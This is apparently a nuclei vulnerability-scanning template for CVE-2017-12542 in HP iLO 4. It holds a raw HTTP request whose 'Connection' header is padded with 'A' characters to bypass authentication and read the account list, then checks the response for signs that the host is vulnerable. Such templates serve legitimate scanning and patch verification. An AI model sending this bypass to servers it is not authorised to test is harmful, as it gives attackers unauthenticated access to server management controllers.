nuclei template for [CVE-2017-12542] iLO 4 < 2.53 - Add New Administrator User

hp-ilo4-CVE-2017-12542.yaml

id: CVE-2017-12542

info:
  name: iLO 4 < 2.53 - Add New Administrator User
  author: segfolt
  severity: High
  # Exploit Source: https://www.exploit-db.com/exploits/44005
  # Reference: https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbhf03769en_us
requests:
  - raw:
      - |
        GET /rest/v1/AccountService/Accounts HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        Upgrade-Insecure-Requests: 1

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "@odata.context"
        part: body